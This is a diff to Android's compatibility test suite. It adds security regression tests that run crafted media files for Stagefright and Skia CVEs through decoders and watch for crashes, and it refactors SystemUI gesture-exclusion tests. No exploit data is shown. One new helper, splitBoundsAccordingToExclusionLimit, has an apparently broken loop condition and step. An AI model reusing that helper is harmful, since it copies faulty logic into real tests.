+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testAndroid_cve_2017_13318() {
+        doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
+    }
+
     @SecurityTest
     public void test_android_bug_17262540() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index b806e1b..64707eb 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -69,6 +69,7 @@
 import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
+import java.util.regex.Pattern;
 
 import org.json.JSONArray;
 import org.json.JSONException;
@@ -76,6 +77,7 @@
 
 import android.security.cts.R;
 
+import android.security.NetworkSecurityPolicy;
 
 /**
  * Verify that the device is not vulnerable to any known Stagefright
@@ -556,6 +558,14 @@
         doStagefrightTest(R.raw.bug_32873375);
     }
 
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testStagefright_bug_63522067() throws Exception {
+        doStagefrightTestRawBlob(R.raw.bug_63522067_1_hevc, "video/hevc", 320, 420);
+        doStagefrightTestRawBlob(R.raw.bug_63522067_2_hevc, "video/hevc", 320, 420);
+        doStagefrightTestRawBlob(R.raw.bug_63522067_3_hevc, "video/hevc", 320, 420);
+        doStagefrightTestRawBlob(R.raw.bug_63522067_4_hevc, "video/hevc", 320, 420);
+    }
+
     @SecurityTest(minPatchLevel = "2016-03")
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
@@ -804,12 +814,47 @@
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testStagefright_bug_36279112() throws Exception {
+        doStagefrightTest(R.raw.bug_36279112);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-06")
+    public void testStagefright_cve_2017_0640() throws Exception {
+        int[] frameSizes = {21, 4};
+        doStagefrightTestRawBlob(R.raw.cve_2017_0640_avc, "video/avc", 640, 480,
+                frameSizes);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-08")
+    public void testBug_37203196() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.bug_37203196_framelen);
+        doStagefrightTestRawBlob(R.raw.bug_37203196_mpeg2, "video/mpeg2", 48, 48, frameSizes);
+    }
+
     @SecurityTest(minPatchLevel = "2018-06")
     public void testBug_73552574() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_73552574_framelen);
         doStagefrightTestRawBlob(R.raw.bug_73552574_avc, "video/avc", 320, 240, frameSizes);
     }
 
+    @SecurityTest(minPatchLevel = "2015-09")
+    public void testStagefright_bug_23285192() throws Exception {
+        doStagefrightTest(R.raw.bug_23285192);
+    }
+
+    @SecurityTest(minPatchLevel = "2016-03")
+    public void testStagefright_bug_25928803() throws Exception {
+        doStagefrightTest(R.raw.bug_25928803);
+    }
+
+    @SecurityTest(minPatchLevel = "2016-04")
+    public void testBug_26399350() throws Exception {
+        int[] frameSizes = {657, 54930};
+        doStagefrightTestRawBlob(R.raw.bug_26399350_avc, "video/avc", 640, 480,
+                frameSizes);
+    }
+
     @SecurityTest(minPatchLevel = "2018-12")
     public void testBug_113260892() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_113260892_hevc, "video/hevc", 320, 240);
@@ -947,6 +992,11 @@
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testStagefright_cve_2018_11287() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_11287, 180000);
+    }
+
     @SecurityTest(minPatchLevel = "2018-03")
     public void testStagefright_cve_2017_17773() throws Exception {
         doStagefrightTest(R.raw.cve_2017_17773);
@@ -1056,6 +1106,8 @@
     }
 
     private void doStagefrightTest(final int rid) throws Exception {
+        NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
+        policy.setCleartextTrafficPermitted(true);
         doStagefrightTestMediaPlayer(rid);
         doStagefrightTestMediaCodec(rid);
         doStagefrightTestMediaMetadataRetriever(rid);
@@ -1077,6 +1129,7 @@
         doStagefrightTestMediaPlayer(url);
         doStagefrightTestMediaCodec(url);
         doStagefrightTestMediaMetadataRetriever(url);
+        policy.setCleartextTrafficPermitted(false);
         server.shutdown();
     }
 
@@ -1153,8 +1206,23 @@
         MediaPlayer.OnPreparedListener,
         MediaPlayer.OnCompletionListener {
 
-        private final String[] validProcessNames = {
-            "mediaserver", "mediadrmserver", "media.extractor", "media.codec", "media.metrics"
+        private final Pattern[] validProcessPatterns = {
+            Pattern.compile("adsprpcd"),
+            Pattern.compile("android\\.hardware\\.cas@\\d+?\\.\\d+?-service"),
+            Pattern.compile("android\\.hardware\\.drm@\\d+?\\.\\d+?-service"),
+            Pattern.compile("android\\.hardware\\.drm@\\d+?\\.\\d+?-service\\.clearkey"),
+            Pattern.compile("android\\.hardware\\.drm@\\d+?\\.\\d+?-service\\.widevine"),
+            Pattern.compile("android\\.process\\.media"),
+            Pattern.compile("mediadrmserver"),
+            Pattern.compile("media\\.extractor"),
+            Pattern.compile("media\\.metrics"),
+            Pattern.compile("mediaserver"),
+            Pattern.compile("media\\.codec"),
+            Pattern.compile("media\\.swcodec"),
+            Pattern.compile("\\[?sdcard\\]?"), // name:/system/bin/sdcard, user:media_rw
+            // Match any vendor processes.
+            // It should only catch crashes that happen during the test.
+            Pattern.compile("vendor.*"),
         };
 
         @Override
@@ -1202,7 +1270,7 @@
                 if (crashes == null) {
                     Log.e(TAG, "Crash results not found for test " + getName());
                     return what;
-                } else if (CrashUtils.detectCrash(validProcessNames, true, crashes)) {
+                } else if (CrashUtils.securityCrashDetected(crashes, true, validProcessPatterns)) {
                     return what;
                 } else {
                     Log.i(TAG, "Crash ignored due to no security crash found for test " +
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
index 7628c82..79b6bd1 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
@@ -18,7 +18,7 @@
 
 import static android.content.pm.cts.shortcutmanager.common.Constants.INLINE_REPLY_REMOTE_INPUT_CAPTION;
 
-import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.resetThrottling;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.resetAllThrottling;
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.runCommandForNoOutput;
 
 import android.content.ComponentName;
@@ -64,7 +64,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        resetThrottling(getInstrumentation());
+        resetAllThrottling(getInstrumentation());
 
         UiDevice.getInstance(getInstrumentation()).pressHome();
 
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 5b519b2..6bb72ec 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -27,7 +27,9 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util-axt \
     ctstestrunner-axt \
+    cts-wm-util \
     androidx.test.rules \
     ub-uiautomator
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
index dbf3e76..9da89be 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -94,64 +94,6 @@
         }
     }
 
-    private boolean hasVirtualNavigationBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
-            throws Throwable {
-        final WindowInsets[] inset = new WindowInsets[1];
-        rule.runOnUiThread(()-> {
-            inset[0] = rule.getActivity().getRootWindowInsets();
-        });
-        return inset[0].getStableInsetBottom() > 0;
-    }
-
-    private boolean isRunningInVr() {
-        final Context context = InstrumentationRegistry.getContext();
-        final Configuration config = context.getResources().getConfiguration();
-        return (config.uiMode & Configuration.UI_MODE_TYPE_MASK)
-                == Configuration.UI_MODE_TYPE_VR_HEADSET;
-    }
-
-    private void assumeBasics() {
-        final PackageManager pm = getInstrumentation().getContext().getPackageManager();
-
-        // No bars on embedded devices.
-        assumeFalse(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_EMBEDDED));
-
-        // No bars on TVs and watches.
-        // Automotive navigation bar is not transparent
-        assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
-                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
-                || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
-
-
-        // Non-highEndGfx devices don't do colored system bars.
-        assumeTrue(ActivityManager.isHighEndGfx());
-    }
-
-    protected void assumeHasColoredStatusBar(ActivityTestRule<? extends LightBarBaseActivity> rule)
-            throws Throwable {
-        assumeBasics();
-
-        // No status bar when running in Vr
-        assumeFalse(isRunningInVr());
-
-        // Status bar exists only when top stable inset is positive
-        final WindowInsets[] inset = new WindowInsets[1];
-        rule.runOnUiThread(()-> {
-            inset[0] = rule.getActivity().getRootWindowInsets();
-        });
-        assumeTrue("Top stable inset is non-positive.", inset[0].getStableInsetTop() > 0);
-    }
-
-    protected void assumeHasColoredNavigationBar(
-            ActivityTestRule<? extends LightBarBaseActivity> rule) throws Throwable {
-        assumeBasics();
-
-        // No virtual navigation bar, so no effect.
-        assumeTrue(hasVirtualNavigationBar(rule));
-    }
-
     protected void checkNavigationBarDivider(LightBarBaseActivity activity, int dividerColor,
             int backgroundColor, String methodName) {
         final Bitmap bitmap = takeNavigationBarScreenshot(activity);
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 95573d1..137c003 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,6 +16,9 @@
 
 package android.systemui.cts;
 
+import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
+import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar;
+
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertTrue;
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
index f8036f2..7da28d0 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -16,6 +16,8 @@
 
 package android.systemui.cts;
 
+import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
+
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
index 7543c20..e4c6b07 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsActivity.java
@@ -43,7 +43,6 @@
     private static final int DISPLAY_CUTOUT_SLACK_DP = 20;
 
     private TextView mContent;
-    private boolean mIsSetViewBound;
     private WindowInsets mContentWindowInsets;
     private WindowInsets mDecorViewWindowInsets;
     private Rect mDecorBound;
@@ -164,25 +163,21 @@
      * To present the WindowInsets information to mContent.
      * To show all of results of getSystemWindowInsets(), getMandatorySytemGestureInsets(),
      * getSystemGestureInsets(), getTappableElementsInsets() and the exclude rects
+     *
+     * @param rect the rectangle want to add or pass into to setSystemGestureExclusionRects
      */
     @MainThread
-    public void setSystemGestureExclusion(boolean isSetViewBoundary) {
-        mIsSetViewBound = isSetViewBoundary;
+    public void setSystemGestureExclusion(Rect rect) {
         List<Rect> rects = new ArrayList<>();
-        if (mIsSetViewBound) {
-            rects.add(new Rect(0 /* content view full match activity's width*/,
-                    0 /* content view full match activity's height */,
-                    mContent.getWidth(),
-                    mContent.getHeight()));
+        if (rect != null) {
+            rects.add(rect);
         }
-
         getContentView().setSystemGestureExclusionRects(rects);
         showInfoInTextView();
     }
 
     private void showInfoInTextView() {
         StringBuilder sb = new StringBuilder();
-        sb.append(mIsSetViewBound ? "setSystemGestureExclusionRects" : "no set").append("\n");
         sb.append("exclude rect list = " + Arrays.deepToString(mContent
                 .getSystemGestureExclusionRects().toArray())).append("\n");
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 2ca4156..3645bae 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -16,22 +16,35 @@
 
 package android.systemui.cts;
 
+import static android.provider.DeviceConfig.NAMESPACE_WINDOW_MANAGER;
+import static android.provider.DeviceConfig.WindowManager.KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP;
+import static android.view.View.SYSTEM_UI_CLEARABLE_FLAGS;
+import static android.view.View.SYSTEM_UI_FLAG_FULLSCREEN;
+import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
+import static android.view.View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY;
+import static android.view.View.SYSTEM_UI_FLAG_VISIBLE;
+
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static junit.framework.Assert.assertEquals;
 import static junit.framework.TestCase.fail;
 
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
+import static java.util.concurrent.TimeUnit.SECONDS;
+
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.graphics.Insets;
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
+import android.provider.DeviceConfig;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -40,12 +53,19 @@
 import android.util.ArrayMap;
 import android.util.DisplayMetrics;
 import android.view.Display;
+import android.view.View;
+import android.view.ViewTreeObserver;
 import android.view.WindowInsets;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.ThrowingRunnable;
+
+import com.google.common.collect.Lists;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -53,12 +73,12 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Consumer;
 import java.util.function.BiConsumer;
+import java.util.function.Consumer;
 
 @RunWith(AndroidJUnit4.class)
 public class WindowInsetsBehaviorTests {
@@ -69,11 +89,17 @@
     private static final int STEPS = 10;
     private static final int DIP_INTERVAL = 40;
 
+    // The minimum value of the system gesture exclusion limit is 200 dp. The value here should be
+    // greater than that, so that we can test if the limit can be changed by DeviceConfig or not.
+    private static final int EXCLUSION_LIMIT_DP = 210;
+
     private final boolean mForceEnableGestureNavigation;
     private final Map<String, Boolean> mSystemGestureOptionsMap;
     private float mPixelsPerDp;
+    private int mDisplayWidth;
+    private int mExclusionLimit;
     private UiDevice mDevice;
-    private Rect mDragBound;
+    private Rect mSwipeBound;
     private String mEdgeToEdgeNavigationTitle;
     private String mSystemNavigationTitle;
     private String mGesturePreferenceTitle;
@@ -257,6 +283,8 @@
         final DisplayMetrics metrics = new DisplayMetrics();
         display.getRealMetrics(metrics);
         mPixelsPerDp = metrics.density;
+        mDisplayWidth = metrics.widthPixels;
+        mExclusionLimit = (int) (EXCLUSION_LIMIT_DP * mPixelsPerDp);
 
         // To setup the Edge to Edge environment by do the operation on Settings
         boolean isOperatedSettingsToExpectedOption = launchToSettingsSystemGesture();
@@ -284,7 +312,7 @@
         mActivity.setInitialFinishCallBack(isFinish -> latch.countDown());
         mDevice.waitForIdle();
 
-        latch.await(5, TimeUnit.SECONDS);
+        latch.await(5, SECONDS);
     }
 
     /**
@@ -311,8 +339,8 @@
     }
 
 
-    private void dragByUiDevice(Point p1, Point p2) {
-        mDevice.drag(p1.x, p1.y, p2.x, p2.y, STEPS);
+    private void swipeByUiDevice(Point p1, Point p2) {
+        mDevice.swipe(p1.x, p1.y, p2.x, p2.y, STEPS);
     }
 
     private void clickAndWaitByUiDevice(Point p) {
@@ -327,7 +355,7 @@
 
         /* wait until the OnClickListener triggered, and then click the next point */
         try {
-            latch.await(5, TimeUnit.SECONDS);
+            latch.await(5, SECONDS);
         } catch (InterruptedException e) {
             fail("Wait too long and onClickEvent doesn't receive");
         }
@@ -337,7 +365,7 @@
         }
     }
 
-    private int dragBigX(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+    private int swipeBigX(Rect viewBoundary, BiConsumer<Point, Point> callback) {
         final int theLeftestLine = viewBoundary.left + 1;
         final int theToppestLine = viewBoundary.top + 1;
         final int theRightestLine = viewBoundary.right - 1;
@@ -395,7 +423,7 @@
         return count;
     }
 
-    private int dragAllOfHorizontalLinesFromLeftToRight(Rect viewBoundary,
+    private int swipeAllOfHorizontalLinesFromLeftToRight(Rect viewBoundary,
             BiConsumer<Point, Point> callback) {
         final int theLeftestLine = viewBoundary.left + 1;
         final int theToppestLine = viewBoundary.top + 1;
@@ -421,7 +449,7 @@
         return count;
     }
 
-    private int dragAllOfHorizontalLinesFromRightToLeft(Rect viewBoundary,
+    private int swipeAllOfHorizontalLinesFromRightToLeft(Rect viewBoundary,
             BiConsumer<Point, Point> callback) {
         final int theToppestLine = viewBoundary.top + 1;
         final int theRightestLine = viewBoundary.right - 1;
@@ -446,16 +474,16 @@
         return count;
     }
 
-    private int dragAllOfHorizontalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+    private int swipeAllOfHorizontalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
         int count = 0;
 
-        count += dragAllOfHorizontalLinesFromLeftToRight(viewBoundary, callback);
-        count += dragAllOfHorizontalLinesFromRightToLeft(viewBoundary, callback);
+        count += swipeAllOfHorizontalLinesFromLeftToRight(viewBoundary, callback);
+        count += swipeAllOfHorizontalLinesFromRightToLeft(viewBoundary, callback);
 
         return count;
     }
 
-    private int dragAllOfVerticalLinesFromTopToBottom(Rect viewBoundary,
+    private int swipeAllOfVerticalLinesFromTopToBottom(Rect viewBoundary,
             BiConsumer<Point, Point> callback) {
         final int theLeftestLine = viewBoundary.left + 1;
         final int theToppestLine = viewBoundary.top + 1;
@@ -480,7 +508,7 @@
         return count;
     }
 
-    private int dragAllOfVerticalLinesFromBottomToTop(Rect viewBoundary,
+    private int swipeAllOfVerticalLinesFromBottomToTop(Rect viewBoundary,
             BiConsumer<Point, Point> callback) {
         final int theLeftestLine = viewBoundary.left + 1;
         final int theRightestLine = viewBoundary.right - 1;
@@ -505,40 +533,71 @@
         return count;
     }
 
-    private int dragAllOfVerticalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+    private int swipeAllOfVerticalLines(Rect viewBoundary, BiConsumer<Point, Point> callback) {
         int count = 0;
 
-        count += dragAllOfVerticalLinesFromTopToBottom(viewBoundary, callback);
-        count += dragAllOfVerticalLinesFromBottomToTop(viewBoundary, callback);
+        count += swipeAllOfVerticalLinesFromTopToBottom(viewBoundary, callback);
+        count += swipeAllOfVerticalLinesFromBottomToTop(viewBoundary, callback);
 
         return count;
     }
 
-    private int dragInViewBoundary(Rect viewBoundary, BiConsumer<Point, Point> callback) {
+    private int swipeInViewBoundary(Rect viewBoundary, BiConsumer<Point, Point> callback) {
         int count = 0;
 
-        count += dragBigX(viewBoundary, callback);
-        count += dragAllOfHorizontalLines(viewBoundary, callback);
-        count += dragAllOfVerticalLines(viewBoundary, callback);
+        count += swipeBigX(viewBoundary, callback);
+        count += swipeAllOfHorizontalLines(viewBoundary, callback);
+        count += swipeAllOfVerticalLines(viewBoundary, callback);
 
         return count;
     }
 
-    private int dragInViewBoundary(Rect viewBoundary) {
-        return dragInViewBoundary(viewBoundary, this::dragByUiDevice);
+    private int swipeInViewBoundary(Rect viewBoundary) {
+        return swipeInViewBoundary(viewBoundary, this::swipeByUiDevice);
+    }
+
+    private List<Rect> splitBoundsAccordingToExclusionLimit(Rect rect) {
+        final int exclusionHeightLimit = (int) (getPropertyOfMaxExclusionHeight() * mPixelsPerDp
+                + 0.5f);
+
+        final List<Rect> bounds = new ArrayList<>();
+        if (rect.height() < exclusionHeightLimit) {
+            bounds.add(rect);
+            return bounds;
+        }
+
+        int nextTop = rect.top;
+        while (nextTop >= rect.bottom) {
+            final int top = nextTop;
+            int bottom = top + exclusionHeightLimit;
+            if (bottom > rect.bottom) {
+                bottom = rect.bottom;
+            }
+
+            bounds.add(new Rect(rect.left, top, rect.right, bottom));
+
+            nextTop += bottom;
+        }
+
+        return bounds;
     }
 
     @Test
-    public void mandatorySystemGesture_excludeViewRects_withoutAnyCancel() {
+    public void mandatorySystemGesture_excludeViewRects_withoutAnyCancel()
+            throws InterruptedException {
         assumeTrue(hasSystemGestureFeature());
 
-        mainThreadRun(() -> mActivity.setSystemGestureExclusion(true));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getMandatorySystemGestureInsets(),
                 mContentViewWindowInsets));
 
-        int dragCount = dragInViewBoundary(mDragBound);
+        final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
+        int swipeCount = 0;
+        for (Rect swipeBound : swipeBounds) {
+            setAndWaitForSystemGestureExclusionRectsListenerTrigger(swipeBound);
+            swipeCount += swipeInViewBoundary(swipeBound);
+        }
 
         mainThreadRun(() -> {
             mActionDownPoints = mActivity.getActionDownPoints();
@@ -548,20 +607,24 @@
         mScreenshotTestRule.capture();
 
         assertEquals(0, mActionCancelPoints.size());
-        assertEquals(dragCount, mActionUpPoints.size());
-        assertEquals(dragCount, mActionDownPoints.size());
+        assertEquals(swipeCount, mActionUpPoints.size());
+        assertEquals(swipeCount, mActionDownPoints.size());
     }
 
     @Test
     public void systemGesture_notExcludeViewRects_withoutAnyCancel() {
         assumeTrue(hasSystemGestureFeature());
 
-        mainThreadRun(() -> mActivity.setSystemGestureExclusion(false));
+        mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getSystemGestureInsets(), mContentViewWindowInsets));
 
-        int dragCount = dragInViewBoundary(mDragBound);
+        final List<Rect> swipeBounds = splitBoundsAccordingToExclusionLimit(mSwipeBound);
+        int swipeCount = 0;
+        for (Rect swipeBound : swipeBounds) {
+            swipeCount += swipeInViewBoundary(swipeBound);
+        }
 
         mainThreadRun(() -> {
             mActionDownPoints = mActivity.getActionDownPoints();
@@ -571,20 +634,23 @@
         mScreenshotTestRule.capture();
 
         assertEquals(0, mActionCancelPoints.size());
-        assertEquals(dragCount, mActionUpPoints.size());
-        assertEquals(dragCount, mActionDownPoints.size());
+        assertEquals(swipeCount, mActionUpPoints.size());
+        assertEquals(swipeCount, mActionDownPoints.size());
     }
 
     @Test
-    public void tappableElements_tapSamplePoints_excludeViewRects_withoutAnyCancel() {
+    public void tappableElements_tapSamplePoints_excludeViewRects_withoutAnyCancel()
+            throws InterruptedException {
         assumeTrue(hasSystemGestureFeature());
 
-        mainThreadRun(() -> mActivity.setSystemGestureExclusion(true));
+        final Rect[] rects = new Rect[1];
+        mainThreadRun(() -> rects[0] = mActivity.getViewBound(mActivity.getContentView()));
+        setAndWaitForSystemGestureExclusionRectsListenerTrigger(rects[0]);
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
 
-        int count = clickAllOfSamplePoints(mDragBound, this::clickAndWaitByUiDevice);
+        final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
 
         mainThreadRun(() -> {
             mClickCount = mActivity.getClickCount();
@@ -601,12 +667,12 @@
     public void tappableElements_tapSamplePoints_notExcludeViewRects_withoutAnyCancel() {
         assumeTrue(hasSystemGestureFeature());
 
-        mainThreadRun(() -> mActivity.setSystemGestureExclusion(false));
+        mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
-        mainThreadRun(() -> mDragBound = mActivity.getOperationArea(
+        mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
 
-        int count = clickAllOfSamplePoints(mDragBound, this::clickAndWaitByUiDevice);
+        final int count = clickAllOfSamplePoints(mSwipeBound, this::clickAndWaitByUiDevice);
 
         mainThreadRun(() -> {
             mClickCount = mActivity.getClickCount();
@@ -618,4 +684,181 @@
         assertEquals("The Number of the canceled points not match", 0,
                 mActionCancelPoints.size());
     }
+
+    @Test
+    public void swipeInsideLimit_systemUiVisible_noEventCanceled() throws Throwable {
+        final int swipeCount = 1;
+        final boolean insideLimit = true;
+        testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_VISIBLE);
+
+        assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
+        assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
+        assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+    }
+
+    @Test
+    public void swipeOutsideLimit_systemUiVisible_allEventsCanceled() throws Throwable {
+        final int swipeCount = 1;
+        final boolean insideLimit = false;
+        testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_VISIBLE);
+
+        assertEquals("Swipe must be always canceled.", swipeCount, mActionCancelPoints.size());
+        assertEquals("Action up points.", 0, mActionUpPoints.size());
+        assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+    }
+
+    @Test
+    public void swipeInsideLimit_immersiveSticky_noEventCanceled() throws Throwable {
+        // The first event may be never canceled. So we need to swipe at least twice.
+        final int swipeCount = 2;
+        final boolean insideLimit = true;
+        testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_IMMERSIVE_STICKY
+                | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+
+        assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
+        assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
+        assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+    }
+
+    @Test
+    public void swipeOutsideLimit_immersiveSticky_noEventCanceled() throws Throwable {
+        // The first event may be never canceled. So we need to swipe at least twice.
+        final int swipeCount = 2;
+        final boolean insideLimit = false;
+        testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_IMMERSIVE_STICKY
+                | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+
+        assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
+        assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
+        assertEquals("Action down points.", swipeCount, mActionDownPoints.size());
+    }
+
+    private void testSystemGestureExclusionLimit(int swipeCount, boolean insideLimit,
+            int systemUiVisibility) throws Throwable {
+        final int shiftY = insideLimit ? 1 : -1;
+        assumeGestureNavigation();
+        doInExclusionLimitSession(() -> {
+            setSystemUiVisibility(systemUiVisibility);
+            setAndWaitForSystemGestureExclusionRectsListenerTrigger(null);
+
+            // The limit is consumed from bottom to top.
+            final int[] bottom = new int[1];
+            mainThreadRun(() -> {
+                final View rootView = mActivity.getWindow().getDecorView();
+                bottom[0] = rootView.getLocationOnScreen()[1] + rootView.getHeight();
+            });
+            final int swipeY = bottom[0] - mExclusionLimit + shiftY;
+
+            for (int i = 0; i < swipeCount; i++) {
+                swipeFromLeftToRight(swipeY, mDisplayWidth);
+            }
+
+            mainThreadRun(() -> {
+                mActionDownPoints = mActivity.getActionDownPoints();
+                mActionUpPoints = mActivity.getActionUpPoints();
+                mActionCancelPoints = mActivity.getActionCancelPoints();
+            });
+        });
+    }
+
+    private void assumeGestureNavigation() {
+        final Insets[] insets = new Insets[1];
+        mainThreadRun(() -> {
+            final View view = mActivity.getWindow().getDecorView();
+            insets[0] = view.getRootWindowInsets().getSystemGestureInsets();
+        });
+        assumeTrue("Gesture navigation required.", insets[0].left > 0);
+    }
+
+    /**
+     * Set system UI visibility and wait for it is applied by the system.
+     *
+     * @param flags the visibility flags.
+     * @throws InterruptedException when the test gets aborted.
+     */
